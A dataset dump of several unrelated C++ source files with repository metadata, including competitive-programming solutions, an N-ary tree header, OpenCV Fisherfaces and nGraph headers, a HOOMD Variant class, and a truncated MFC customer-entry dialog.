delete [] UP;
for (int i = 0; i < DecimalTotalProb - 1; i++)
{
delete [] DUP[i];
}
delete [] DUP;
delete [] AddProb;
delete [] AddWeight;
return 0;
}
| [
"[email protected]"
] | |
b13d6bb6f40a363e869e2c0c3e8f1bd96ea4903f | 75c0a6e20d86811151a9ac855ce780576e541ec1 | /Beginning_Algorithm_Contests/Volume 3. Brute Force/Rujia Liu's Problems for Beginners/Uvaoj 10274 Fans and Gems/Uvaoj 10274 Fans and Gems.cpp | 95820e797a36ca5524ecca0946891a7debb1653c | [] | no_license | liketheflower/icpc-Rujia-Liu | 71e8c74125a8613b20f322710302cc5c5287d032 | bc2eb6e1f7421614a320f6534bd8800337f63931 | refs/heads/master | 2020-09-08T05:23:11.414741 | 2017-01-23T22:39:03 | 2017-01-23T22:39:03 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 6,387 | cpp | #include <cstdio>
#include <vector>
#include <string>
#include <iostream>
#include <algorithm>
#include <cstring>
#include <queue>
using namespace std;
const int maxn = 15;
const int maxm = 25;
const int mod = 100001;
struct point{
int x, y;
point(int x, int y):x(x),y(y){}
point(){}
friend bool operator < (const point& a, const point& b){
if(a.x == b.x)
return a.y < b.y;
return a.x < b.x;
}
friend point operator + (const point& a, const point& b){
return point(a.x+b.x, a.y+b.y);
}
friend point operator - (const point& a, const point& b){
return point(a.x-b.x, a.y-b.y);
}
};
struct gem{
point p;
char color;
gem(point p, char color):p(p),color(color){}
friend bool operator < (const gem& a, const gem& b){
if(a.color == b.color)
return a.p < b.p;
return a.color < b.color;
}
friend bool operator == (const gem& a, const gem& b){
if(a < b || b < a)
return false;
return true;
}
};
int n, m;
char choice[] = {'D','L','R','U'};
vector<char> ans;
vector<vector<gem> > hash[mod];
char ori[maxn][maxm];
queue<vector<char> > q;
void print(char data[][maxm]){
for(int i=0;i<n;i++){
for(int j=0;j<m;j++)
printf("%c", data[i][j]);
printf("\n");
}
printf("\n");
}
bool isMove(char c){
if((c >= '1' && c <= '3') || (c == '@'))
return true;
return false;
}
bool isExist(char data[][maxm]){
vector<gem> now;
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
if(isMove(data[i][j]))
now.push_back(gem(point(i,j), data[i][j]));
int v = 0;
for(int i=0;i<min((int)now.size(),8);i++){
v *= 10;
v += (now[i].p.x + 1)*(now[i].p.y + 1) % 10;
}
int k = v % mod;
for(int i=0;i<hash[k].size();i++)
if(hash[k][i] == now)
return true;
hash[k].push_back(now);
return false;
}
// bool isOut(int x, int y){
// if(x<0 || x>=n || y<0 || y>=m)
// return true;
// return false;
// }
void move(char data[][maxm], char cha, point p, char dir){
point step;
switch(dir){
case 'D':{
step = point(1,0);
break;
}
case 'L':{
step = point(0,-1);
break;
}
case 'R':{
step = point(0,1);
break;
}
default:{
step = point(-1,0);
break;
}
}
point now = p + step;
// if(data[now.x][now.y] != ' ') // 变为每次只走一步
// now = now - step;
while(data[now.x][now.y] == ' '){
now = now + step;
}
now = now - step;
data[p.x][p.y] = ' ';
data[now.x][now.y] = cha;
// if(p.x == now.x && now.y == p.y)
// return false;
// return true;
}
void move(char data[][maxm], char dir){
// bool ok = false;
switch(dir){
case 'D':{
for(int i=n-1;i>=0;i--)
for(int j=0;j<m;j++)
if(isMove(data[i][j])){
// if(move(data, data[i][j], point(i,j), dir))
// ok = true;
move(data, data[i][j], point(i,j), dir);
}
break;
}
case 'L':{
for(int j=0;j<m;j++)
for(int i=0;i<n;i++)
if(isMove(data[i][j])){
// if(move(data, data[i][j], point(i,j), dir))
// ok = true;
move(data, data[i][j], point(i,j), dir);
}
break;
}
case 'R':{
for(int j=m-1;j>=0;j--)
for(int i=0;i<n;i++)
if(isMove(data[i][j])){
// if(move(data, data[i][j], point(i,j), dir))
// ok = true;
move(data, data[i][j], point(i,j), dir);
}
break;
}
default:{
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
if(isMove(data[i][j])){
// if(move(data, data[i][j], point(i,j), dir))
// ok = true;
move(data, data[i][j], point(i,j), dir);
}
break;
}
}
//return ok;
}
void bfs(int x, int y, bool vis[][maxm], char data[][maxm]){
int a[] = {0,0,1,-1};
int b[] = {1,-1,0,0};
for(int i=0;i<4;i++){
int nx = x + a[i];
int ny = y + b[i];
if(!vis[nx][ny] && data[nx][ny] == data[x][y]){
vis[x][y] = vis[nx][ny] = true;
bfs(nx, ny, vis, data);
}
}
}
bool check(char data[][maxm]){
bool vis[maxn][maxm];
memset(vis, 0, sizeof(vis));
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
if(!vis[i][j] && data[i][j] <= '3' && data[i][j] >= '1')
bfs(i, j, vis, data);
bool ok = false;
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
if(vis[i][j]){
ok = true;
data[i][j] = ' ';
}
return ok;
}
void make(char after[][maxm], char pre[][maxm], char c){
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
after[i][j] = pre[i][j];
move(after, c);
while(check(after))
move(after, c);
// while(move(after, c)){
// check(after);
// }
}
void make(char after[][maxm], vector<char> v){
if(v.size() > 1){
char now = v[v.size()-1];
v.pop_back();
char hold[maxn][maxm];
make(hold, v);
make(after, hold, now);
}
else
make(after, ori, v[0]);
}
bool isOk(char data[][maxm]){
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
if(data[i][j] == '1' || data[i][j] == '2' || data[i][j] == '3')
return false;
return true;
}
bool isNotOk(char data[][maxm]){
int num[5];
memset(num, 0, sizeof(num));
for(int i=0;i<n;i++)
for(int j=0;j<m;j++)
if(data[i][j] >= '1' && data[i][j] <= '3')
num[data[i][j]-'0']++;
for(int i=1;i<=3;i++)
if(num[i] == 1)
return true;
return false;
}
void print(vector<char> v){
for(int i=0;i<v.size();i++)
printf("%c", v[i]);
printf("\n");
}
bool solve(vector<char> v){
if(v.size() > 18)
return false;
char after[maxn][maxm];
//print(v);
make(after, v);
//print(after);
if(isOk(after)){
ans = v;
return true;
}
if(isNotOk(after))
return false;
if(isExist(after))
return false;
char pre = v[v.size()-1];
for(int i=0;i<4;i++)
if(choice[i] != pre){
v.push_back(choice[i]);
// bool ok = solve(v);
// if(ok)
// return true;
q.push(v);
v.pop_back();
}
return false;
}
bool solve(){
isExist(ori);
vector<char> now;
for(int i=0;i<4;i++){
now.push_back(choice[i]);
// bool ok = solve(now);
// if(ok)
// return true;
q.push(now);
now.clear();
}
while(!q.empty()){
vector<char> v = q.front();
q.pop();
if(solve(v))
return true;
}
return false;
}
int main()
{
freopen("data.txt", "r", stdin);
//freopen("dataout.txt", "w", stdout);
char str[100000];
int T;
scanf("%d", &T);
for(int cc=0;cc<T;cc++){
while(!q.empty())
q.pop();
ans.clear();
for(int i=0;i<mod;i++)
hash[i].clear();
scanf("%d%d%*c", &n, &m);
//getchar();
for(int i=0;i<n;i++)
gets(ori[i]);
//print(ori);
gets(str);
if(solve()){
for(int i=0;i<ans.size();i++)
printf("%c", ans[i]);
printf("\n");
}
else
printf("-1\n");
}
return 0;
} | [
"[email protected]"
] | |
b25bba1cd26e2caf1e13b45f68928b1f84e704c2 | c36202d98bda72ac9bb5490cf226dd8af5001c5b | /LeetCode897_Increasing_Order_Search_Tree.cpp | 981aadd9867e7751b5bfd0811b390ff6abc11676 | [] | no_license | TairanHu/LeetCode | 273d811b8cff1a2ca40e7dd81ef9bc9f1db2ada1 | 28878ac3b65d845ed515f1b67d1e1c97104b262e | refs/heads/master | 2021-01-11T08:32:35.187286 | 2019-04-14T14:06:30 | 2019-04-14T14:06:30 | 72,227,616 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 715 | cpp | /**
* Definition for a binary tree node.
* struct TreeNode {
* int val;
* TreeNode *left;
* TreeNode *right;
* TreeNode(int x) : val(x), left(NULL), right(NULL) {}
* };
*/
class Solution {
public:
TreeNode* increasingBST(TreeNode* root) {
TreeNode* res = node;
get_ans(root);
return res->right;
}
void get_ans(TreeNode* root)
{
if(root == NULL)
return;
get_ans(root->left);
TreeNode* tmp = new TreeNode(root->val);
node->right = tmp;
node = node->right;
get_ans(root->right);
}
private:
TreeNode* node = new TreeNode(0);
}; | [
"[email protected]"
] | |
da34eaf6535f600df62ee7ffc986cfeea6754380 | 501e325a9d662f62db98b149697481707de1a04c | /Ntree.h | 11f0c56bef52ec2d67d25f743f47187d74798d8e | [] | no_license | cisc3130/3-tree-fayrouz-mikhael | 516494e754b1c908f29954e0668ca167bf6255a6 | 522ff63c43f230f6083efd790dfc427a4a90368b | refs/heads/master | 2021-08-20T02:57:59.220511 | 2017-11-03T03:18:43 | 2017-11-03T03:18:43 | 109,455,407 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,946 | h | // author: levitan
#ifndef NTREE_H
#define NTREE_H
#include <assert.h>
#include <list>
#include <map>
#include <numeric>
#include <queue>
#include <string>
#include <vector>
namespace std {
std::string to_string(const std::string& str) { return str; }
}
template <class T>
class NTree {
struct tnode {
T data;
tnode* parent;
std::vector<tnode*> children;
tnode (T x) : data(x), parent(NULL) {}
void addChild(tnode* c) { children.push_back(c); }
};
tnode* root;
// recursive private method called by >> operator
std::queue<std::string> toStrings(tnode* nd) const {
std::queue<std::string> rq;
if (!nd) { // base case: empty child: return empty vector
return rq;
}
if (nd->children.size()==0) { // base case: leaf: return vector with just that node's value
rq.push(std::to_string(nd->data));
return rq;
}
// get queue of strings representing each subtree
std::vector<std::queue<std::string> > subtrees;
for (tnode* c : nd->children) {
subtrees.push_back(toStrings(c));
}
// add current value to return queue (will be at front)
// pad to width of the next level
int stringWidth = 0;
int maxDepth = 0;
for (auto st : subtrees) {
stringWidth += st.front().length();
maxDepth = std::max(maxDepth, (int)st.size());
}
int levelpad = (stringWidth + subtrees.size() - 1 - std::to_string(nd->data).length())/2;
rq.push(std::string(levelpad, '_') + std::to_string(nd->data) +
std::string(levelpad, '_'));
// add space-padded string(s) to subtrees with fewer levels than max
for (auto& st : subtrees) {
int width = st.front().length();
while (st.size() < maxDepth) {
st.push(std::string(width, '_'));
}
}
// combine subtrees at each level
while (!subtrees.front().empty()) { // all subtrees now have same depth
std::vector<std::string> levelstrings; // hold strings at this level
for (auto& st : subtrees) {
levelstrings.push_back(st.front());
st.pop();
}
// levelstrings now contains string from each subtree
// combine into single string and add to rq
std::string levelstr = std::accumulate(levelstrings.begin(),
levelstrings.end(), std::string(),
[](const std::string& a, const std::string& b) -> std::string {
return a + (a.length() > 0 ? " " : "") + b;
});
rq.push(levelstr);
} // iterate to next level
// all subtrees have been processed
return rq;
}
std::string toString(tnode* nd) const {
std::queue<std::string> q = toStrings(nd);
std::string str;
while (!q.empty()) {
str += (q.front() + "\n");
q.pop();
}
return str;
}
public:
NTree() : root(NULL) {}
NTree(const std::vector<T>& values, const std::vector<int>& parents) {
if (values.size() != parents.size()) {
std::cout << "Error: values has " << values.size() << " elements and parents has " << parents.size() << " elements.\n";
throw std::exception();
}
std::map<T, tnode*> valmap; // will map values to node addresses
for (int i = 0; i < values.size(); i++) {
tnode* nd = new tnode(values[i]);
valmap[values[i]] = nd;
if (parents[i] >= 0) { // -1 signals root
nd->parent = valmap[values[parents[i]]];
nd->parent->addChild(nd);
}
else root = nd;
}
}
~NTree() {
if (!root) return;
std::queue<tnode*> q;
q.push(root);
while (!q.empty()) {
tnode* nd = q.front();
q.pop();
for (tnode* c : nd->children) q.push(c);
delete nd;
}
}
friend std::ostream& operator<<(std::ostream& stream, const NTree& tree) {
stream << tree.toString(tree.root);
return stream;
}
// TODO: replace dummy return value with test for equality
bool operator==(const NTree<T>& rhs) {
return true;
}
// TODO: implement method to write tree in recoverable format to file
void serialize(const std::string& filename) {
}
// TODO: implement method to read tree in from file
void deserialize(const std::string& filename) {
}
};
#endif
| [
"[email protected]"
] | |
ab0b59876b69596d68c4c6f5aa11578c9cf6b500 | 65b094a7dc9d931c08cf2a5e5950dfc6cc2a1af9 | /lda/include/fisherfaces.hpp | 95801d9eca8ef95d716e4f37e992c464d6c1010a | [
"BSD-3-Clause"
] | permissive | stephenbalaban/opencv | e71cdcc0aeb76a0b3c56f5b480a786ca19291dca | a7350e79411c2b993e334233abfc5fcd653463c2 | refs/heads/master | 2021-01-15T19:18:36.979636 | 2012-04-14T09:49:57 | 2012-04-14T09:49:57 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,790 | hpp | /*
* Copyright (c) 2011. Philipp Wagner <bytefish[at]gmx[dot]de>.
* Released to public domain under terms of the BSD Simplified license.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the organization nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* See <http://www.opensource.org/licenses/bsd-license>
*/
#ifndef __FISHERFACES_HPP__
#define __FISHERFACES_HPP__
#include "opencv2/opencv.hpp"
using namespace cv;
using namespace std;
namespace subspace {
/**
* P. Belhumeur, J. Hespanha, and D. Kriegman,
* "Eigenfaces vs. Fisherfaces: Recognition Using Class Specific Linear Projection",
* IEEE Transactions on Pattern Analysis and Machine Intelligence,
* 19(7):711--720, 1997.
*/
class Fisherfaces {
private:
bool _dataAsRow;
int _num_components;
Mat _eigenvectors;
Mat _eigenvalues;
Mat _mean;
vector<Mat> _projections;
vector<int> _labels;
public:
Fisherfaces() :
_num_components(0),
_dataAsRow(true) {};
Fisherfaces(int num_components, bool dataAsRow = true) :
_num_components(num_components),
_dataAsRow(dataAsRow) {};
Fisherfaces(const vector<Mat>& src,
const vector<int>& labels,
int num_components = 0,
bool dataAsRow = true);
Fisherfaces(const Mat& src,
const vector<int>& labels,
int num_components = 0,
bool dataAsRow = true) :
_num_components(num_components),
_dataAsRow(dataAsRow)
{
compute(src, labels);
}
~Fisherfaces() {}
//! compute the discriminants for data in src and labels
void compute(const Mat& src, const vector<int>& labels);
//! compute the discriminants for data in src and labels
void compute(const vector<Mat>& src, const vector<int>& labels);
// returns the nearest neighbor to a query
int predict(const Mat& src);
//! project samples
Mat project(const Mat& src);
//! reconstruct samples
Mat reconstruct(const Mat& src);
// returns a const reference to the eigenvectors of this LDA
Mat eigenvectors() const { return _eigenvectors; };
// returns a const reference to the eigenvalues of this LDA
Mat eigenvalues() const { return _eigenvalues; }
// returns a const reference to the eigenvalues of this LDA
Mat mean() const { return _eigenvalues; }
};
}
#endif
| [
"[email protected]"
] | |
f3836eb06fbd9ed1a3fff64caead7d778d0cad89 | 614284717489bddd6891a78bcb3a876e1bbf7073 | /ngraph/src/ngraph/op/reduce_prod.hpp | 7839efb2e60199be9e97cda87d8548a5d26876d2 | [
"Apache-2.0"
] | permissive | bartholmberg/openvino | 01e113438971dc7bdf4e1fe3d0563b823f0ecefd | bd42f09e98e0c155a1b9e75c21d0f51b34708bc9 | refs/heads/master | 2023-02-04T07:17:34.782966 | 2020-07-27T16:47:37 | 2020-07-27T16:47:37 | 261,867,844 | 1 | 0 | Apache-2.0 | 2020-05-06T20:11:00 | 2020-05-06T20:11:00 | null | UTF-8 | C++ | false | false | 2,476 | hpp | //*****************************************************************************
// Copyright 2017-2020 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//*****************************************************************************
#pragma once
#include "ngraph/op/util/arithmetic_reductions_keep_dims.hpp"
namespace ngraph
{
namespace op
{
namespace v1
{
/// \brief Product reduction operation.
///
/// Reduces the tensor, eliminating the specified reduction axes by taking the product.
class NGRAPH_API ReduceProd : public util::ArithmeticReductionKeepDims
{
public:
static constexpr NodeTypeInfo type_info{"ReduceProd", 1};
const NodeTypeInfo& get_type_info() const override { return type_info; }
/// \brief Constructs a product reduction operation.
ReduceProd() = default;
/// \brief Constructs a product reduction operation.
///
/// \param arg The tensor to be reduced.
/// \param reduction_axes The axis positions (0-based) to be eliminated.
/// \param keep_dims If set to true it holds axes that are used for reduction.
ReduceProd(const Output<Node>& arg,
const Output<Node>& reduction_axes,
bool keep_dims = false);
size_t get_version() const override { return 1; }
/// \return The default value for Product.
virtual std::shared_ptr<Node> get_default_value() const override;
virtual std::shared_ptr<Node>
clone_with_new_inputs(const OutputVector& new_args) const override;
bool evaluate(const HostTensorVector& outputs,
const HostTensorVector& inputs) override;
};
}
}
}
| [
"[email protected]"
] | |
a0c4f2f5963d8cce881ac30e6b8520a34bd49e8a | 7ed28dffc9e1287cf504fdef5967a85fe9f564e7 | /AtCoder/ABC143/d.cpp | 7169243b6fc4c33d287ebd6ed322e3c09ca3c42f | [
"MIT"
] | permissive | Takumi1122/data-structure-algorithm | 0d9cbb921315c94d559710181cdf8e3a1b8e62e5 | 6b9f26e4dbba981f034518a972ecfc698b86d837 | refs/heads/master | 2021-06-29T20:30:37.464338 | 2021-04-17T02:01:44 | 2021-04-17T02:01:44 | 227,387,243 | 0 | 0 | null | 2020-02-23T12:27:52 | 2019-12-11T14:37:49 | C++ | UTF-8 | C++ | false | false | 687 | cpp | #include <bits/stdc++.h>
#define rep(i, n) for (int i = 0; i < (n); ++i)
using namespace std;
using ll = long long;
using P = pair<int, int>;
int main() {
int n;
cin >> n;
vector<int> l(n);
rep(i, n) cin >> l[i];
sort(l.begin(), l.end());
int ans = 0;
for (int i = 0; i < n; i++) {
for (int j = i + 1; j < n; j++) {
int a = l[i];
int b = l[j];
auto ite1 = upper_bound(l.begin() + j, l.end(), abs(a - b));
int id1 = distance(l.begin(), ite1);
auto ite2 = lower_bound(l.begin() + j, l.end(), a + b);
int id2 = distance(l.begin(), ite2);
int num = id2 - id1 - 1;
ans += num;
}
}
cout << ans << endl;
return 0;
} | [
"[email protected]"
] | |
a449c14558b8774ccbc02faedd5cfc58b1dae282 | 98ff03829920b2b619920aa28631b61bb51977c4 | /main.cpp | d772d62fce5ca3bc31e97d8c84b770021547310e | [] | no_license | yedunli/OpenGLTest | e7e2a08955acd575c0f19acb8ac293aca93a178f | bcd1b728ad12cf0a615db3ee74e6a63519430f3a | refs/heads/master | 2020-05-30T14:44:22.129840 | 2019-06-25T16:33:26 | 2019-06-25T16:33:26 | 189,798,589 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 268 | cpp | #include "mywidget.h"
#include "subwidget.h"
#include <QApplication>
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
MyWidget w;
w.show();
SubWidget w2;
w2.show();
w.setSubWidget(&w2);
return a.exec();
}
| [
"[email protected]"
] | |
d0d7859ad9b12112a4ee075e748549f98dbf8c64 | 33551c791dcf51edf67ee7fca1b64805559440df | /libhoomd/utils/Variant.h | c471cce03ec169b7839c37824e9fe523c9c769b9 | [] | no_license | qshao/hoomd-blue | f5562ba4303ec2579512fe55986125c053df1680 | b17f91bfc7806279750d6460df30d7115e4f563c | refs/heads/master | 2021-01-12T19:18:17.778057 | 2016-03-10T23:45:38 | 2016-03-10T23:45:38 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,279 | h | /*
Highly Optimized Object-oriented Many-particle Dynamics -- Blue Edition
(HOOMD-blue) Open Source Software License Copyright 2009-2016 The Regents of
the University of Michigan All rights reserved.
HOOMD-blue may contain modifications ("Contributions") provided, and to which
copyright is held, by various Contributors who have granted The Regents of the
University of Michigan the right to modify and/or distribute such Contributions.
You may redistribute, use, and create derivate works of HOOMD-blue, in source
and binary forms, provided you abide by the following conditions:
* Redistributions of source code must retain the above copyright notice, this
list of conditions, and the following disclaimer both in the code and
prominently in any materials provided with the distribution.
* Redistributions in binary form must reproduce the above copyright notice, this
list of conditions, and the following disclaimer in the documentation and/or
other materials provided with the distribution.
* All publications and presentations based on HOOMD-blue, including any reports
or published results obtained, in whole or in part, with HOOMD-blue, will
acknowledge its use according to the terms posted at the time of submission on:
http://codeblue.umich.edu/hoomd-blue/citations.html
* Any electronic documents citing HOOMD-Blue will link to the HOOMD-Blue website:
http://codeblue.umich.edu/hoomd-blue/
* Apart from the above required attributions, neither the name of the copyright
holder nor the names of HOOMD-blue's contributors may be used to endorse or
promote products derived from this software without specific prior written
permission.
Disclaimer
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS ``AS IS'' AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND/OR ANY
WARRANTIES THAT THIS SOFTWARE IS FREE OF INFRINGEMENT ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// Maintainer: joaander
/*! \file Variant.h
\brief Declares the Variant and related classes
*/
#ifdef NVCC
#error This header cannot be compiled by nvcc
#endif
#ifndef __VARIANT_H__
#define __VARIANT_H__
#include <map>
//! Base type for time varying quantities
/*! Virtual base class for variables specified to vary over time. The base class provides
a common interface for all subclass Variants.
- A double value can be gotten from the Variant at any given time
- An offset can be specified. A value set at time "t" in a variant will be returned
at the actual time t+offset. The intended use for the offset is so that times
can be specified as 0, 1000, 1e6 (or whatever) and be conveniently referenced
with 0 being the current step.
\ingroup utils
*/
class Variant
{
public:
//! Constructor
Variant() : m_offset(0) { }
//! Virtual destructor
virtual ~Variant() { }
//! Gets the value at a given time step (just returns 0)
virtual double getValue(unsigned int timestep)
{
return 0.0;
}
//! Sets the offset
virtual void setOffset(unsigned int offset)
{
m_offset = offset;
}
protected:
unsigned int m_offset; //!< Offset time
};
//! Constant variant
/*! Specifies a value that is constant over all time */
class VariantConst : public Variant
{
public:
//! Constructor
VariantConst(double val) : m_val(val)
{
}
//! Gets the value at a given time step
virtual double getValue(unsigned int timestep)
{
return m_val;
}
private:
double m_val; //!< The value
};
//! Linearly interpolated variant
/*! This variant is given a series of timestep,value pairs. The value at each time step is
calculated via linear interpolation between the two nearest points. When the timestep
requested is before or after the end of the specified points, the value at the beginning
(or end) is returned.
*/
class VariantLinear : public Variant
{
public:
//! Constructs an empty variant
VariantLinear();
//! Gets the value at a given time step
virtual double getValue(unsigned int timestep);
//! Sets a point in the interpolation
void setPoint(unsigned int timestep, double val);
private:
std::map<unsigned int, double> m_values; //!< Values to interpoloate
std::map<unsigned int, double>::iterator m_a, //!< First point in the pair to interpolate
m_b; //!< Second point in the pair to inerpolate
};
//! Exports Variant* classes to python
void export_Variant();
#endif
| [
"[email protected]"
] | |
faf097eb813d83053030b91818776591fa7e7215 | ceb18dbff900d48d7df6b744d1cd167c7c9eb5c5 | /mine/cplusplusCS/2014/BMDemo/BM/CtmNew.cpp | 404228a79794f51de967c221c176a0a058a99907 | [] | no_license | 15831944/sourcecode | 6bb5f74aac5cf1f496eced1b31a0fd4cf3271740 | 412f0ba73dd7fb179a92d2d0635ddbf025bfe6d4 | refs/heads/master | 2021-12-27T20:07:32.598613 | 2018-01-15T14:38:35 | 2018-01-15T14:38:35 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 9,336 | cpp | // CtmNew.cpp : 实现文件
//
#include "stdafx.h"
#include "BM.h"
#include "CtmNew.h"
#include "afxdialogex.h"
// CCtmNew 对话框
IMPLEMENT_DYNAMIC(CCtmNew, CDialogEx)
CCtmNew::CCtmNew(CWnd* pParent /*=NULL*/)
: CDialogEx(CCtmNew::IDD, pParent)
, m_ctmcall(_T(""))
, m_ctmNM(_T(""))
, m_ps(_T(""))
, m_times(0)
, m_price(0)
, m_ctmNO(0)
, m_phone(_T(""))
{
}
CCtmNew::CCtmNew(CCtmInfo *pdlg,CWnd* pParent /*=NULL*/)
: CDialogEx(CCtmNew::IDD, pParent)
, m_ctmcall(_T(""))
, m_ctmNM(_T(""))
, m_price(0)
, m_ps(_T(""))
, m_times(0)
, m_ctmNO(0)
{
m_pParentDlg = pdlg;
}
CCtmNew::~CCtmNew()
{
m_pParentDlg = NULL;
}
void CCtmNew::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_CTMSEX, m_comboxSex);
DDX_Control(pDX, IDC_DATE_FIRST, m_dateFist);
DDX_Control(pDX, IDC_DATE_LAST, m_dateLast);
DDX_Text(pDX, IDC_EDIT_CTMCALL, m_ctmcall);
DDX_Text(pDX, IDC_EDIT_CTMNM, m_ctmNM);
DDX_Text(pDX, IDC_EDIT_PS, m_ps);
DDX_Text(pDX, IDC_EDIT_TIMES, m_times);
DDV_MinMaxInt(pDX, m_times, 0, 10000);
// DDX_Text(pDX, IDC_EDIT_PRICE, m_price);
DDX_Control(pDX, IDC_STATIC_TIP, m_tip);
DDX_Text(pDX, IDC_EDIT_CTMNO, m_ctmNO);
DDV_MinMaxInt(pDX, m_ctmNO, 0, 100000000);
DDX_Text(pDX, IDC_EDIT_PHONENO, m_phone);
DDX_Text(pDX, IDC_EDIT_PRICE, m_price);
}
BEGIN_MESSAGE_MAP(CCtmNew, CDialogEx)
ON_WM_CTLCOLOR()
ON_WM_TIMER()
ON_WM_CLOSE()
ON_MESSAGE(WM_STARTTASK_CtmNew, &CCtmNew::OnStartTask)
ON_MESSAGE(WM_ENDTASK_CtmNew, &CCtmNew::OnEndTask)
ON_BN_CLICKED(IDC_BTN_CANCLE, &CCtmNew::OnBnClickedBtnCancle)
ON_BN_CLICKED(IDC_BTN_NEW, &CCtmNew::OnBnClickedBtnNew)
END_MESSAGE_MAP()
// CCtmNew 消息处理程序
HBRUSH CCtmNew::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
if(nCtlColor==CTLCOLOR_STATIC)
{
pDC->SetBkMode(TRANSPARENT);
//hbr=(HBRUSH)::GetStockObject(NULL_BRUSH);
HBRUSH b_static=CreateSolidBrush(RGB(185,211,255));
return b_static;
}
if(nCtlColor == CTLCOLOR_DLG){
pDC->SetTextColor(RGB(0,0,0));
pDC->SetBkColor(RGB(185,211,255));
HBRUSH b=CreateSolidBrush(RGB(185,211,255));
return b;
}
return hbr;
}
void CCtmNew::OnTimer(UINT_PTR nIDEvent)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
switch (nIDEvent)
{
case 1:
{
ShowTip();
break;
}
default:
break;
}
CDialogEx::OnTimer(nIDEvent);
}
void CCtmNew::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
CSock::m_pCtmNew = NULL;
CDialogEx::OnClose();
}
afx_msg LRESULT CCtmNew::OnStartTask(WPARAM wParam, LPARAM lParam)
{
SetTimer(1,1000,NULL);
m_time_take = 0;
m_tip.SetWindowText(_T(""));
return 0;
}
void CCtmNew::ShowTip()
{
m_time_take++;
CString time =NULL;
time.Format(_T("用时：%d秒"),m_time_take);
m_tip.SetWindowTextW(time);
if(m_time_take == 120)
{
OnEndTask(0,0);
m_tip.SetWindowTextW(_T("请求超时，请重试或者重新连接服务器"));
}
}
afx_msg LRESULT CCtmNew::OnEndTask(WPARAM wParam, LPARAM lParam)
{
KillTimer(1);
m_time_take = 0;
m_tip.SetWindowText(_T("就绪"));
return 0;
}
void CCtmNew::OnBnClickedBtnCancle()
{
// TODO: 在此添加控件通知处理程序代码
CDialogEx::OnCancel();
}
void CCtmNew::OnBnClickedBtnNew()
{
UpdateData(TRUE);
if(!IsItemValidity(m_ctmNM,_T("顾客姓名"),TRUE,FALSE,FALSE,15,0))
{
return;
}
if(!IsItemValidity(m_ctmcall,_T("客户名称"),FALSE,FALSE,FALSE,24,0))
{
return;
}
if(!IsItemValidity(m_phone,_T("顾客电话"),FALSE,TRUE,FALSE,11,0))
{
return;
}
if(!IsItemValidity(m_ps,_T("客户备注"),FALSE,FALSE,FALSE,150,0))
{
return;
}
if(m_price<0)
{
MessageBox(_T("消费金额不能小于零"));
return;
}
USES_CONVERSION;
memset(&m_ctmNewStruct,0,sizeof(CtmInfo));
char *p = NULL;
CTime timeTime;
DWORD dwResult = m_dateFist.GetTime(timeTime);
CString str;
if (dwResult == GDT_VALID)
{
if ((m_dateFist.GetStyle() & DTS_TIMEFORMAT) == DTS_TIMEFORMAT)
{
str = timeTime.Format(_T("%Y-%m-%d"));
}else{
str = timeTime.Format(_T("%Y-%m-%d"));
}
p = T2A(str);
strcpy_s(m_ctmNewStruct.first_pay_time,p);
}else
{
MessageBox(_T("请选择首次消费时间"));
return;
}
dwResult = m_dateLast.GetTime(timeTime);
if (dwResult == GDT_VALID)
{
if ((m_dateLast.GetStyle() & DTS_TIMEFORMAT) == DTS_TIMEFORMAT)
{
str = timeTime.Format(_T("%Y-%m-%d"));
}else{
str = timeTime.Format(_T("%Y-%m-%d"));
}
p = T2A(str);
strcpy_s(m_ctmNewStruct.late_pay_time,p);
}else{
